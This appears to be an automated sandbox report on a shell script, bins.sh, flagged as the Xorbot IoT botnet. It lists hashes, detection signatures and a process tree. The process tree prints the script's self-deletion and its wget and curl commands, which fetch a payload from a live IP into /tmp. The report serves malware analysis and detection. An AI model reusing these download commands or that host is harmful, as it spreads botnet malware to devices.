Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/01/2025, 18:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250127-xcbbpa1ram
  • SHA256 20d263198bdf6e1802163888c23bb458a571ef1be0496732fb0215080030bd2c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://94.154.35.94/bins/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:692

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR

            • Path /tmp/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
            • Size 99KB
            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
            • MD5 SHA1 SHA512 SSDEEP

            wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR

            • Path /tmp/wJtM125dclOkSBj5wgFEL8w25vRXLbTyUR
            • Size 88KB
            • SHA256 c92ae255836824953860d78d043c0f501a46c867de98cc96bd1d0ff113024f05
            • MD5 SHA1 SHA512 SSDEEP